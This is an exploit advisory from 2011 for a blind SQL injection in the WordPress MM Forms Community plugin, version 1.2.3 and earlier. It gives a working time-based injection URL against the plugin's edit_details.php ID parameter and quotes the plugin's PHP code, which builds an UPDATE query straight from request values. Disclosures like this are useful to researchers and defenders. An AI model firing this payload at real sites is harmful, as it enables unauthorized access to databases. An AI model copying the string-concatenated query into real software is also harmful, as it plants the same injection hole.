WordPress Plugin MM Forms Community 1.2.3 - SQL Injection

# Exploit Title: WordPress MM Forms Community plugin <= 1.2.3 SQL Injection Vulnerability
# Date: 2011-08-26
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/mm-forms-community.zip
# Version: 1.2.3 (tested)
# Note: magic_quotes has to be turned off

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PoC
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http://www.site.com/wp-content/plugins/mm-forms-community/includes/edit_details.php?ID=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

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Vulnerable code
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foreach ($_REQUEST as $key => $value){
	
	
	$SQL="UPDATE wp_contactform_submit_data SET value=".quoteString($value)." WHERE fk_form_joiner_id='".$_REQUEST['ID']."' AND form_key='".$key."'";
	mysql_query($SQL);
}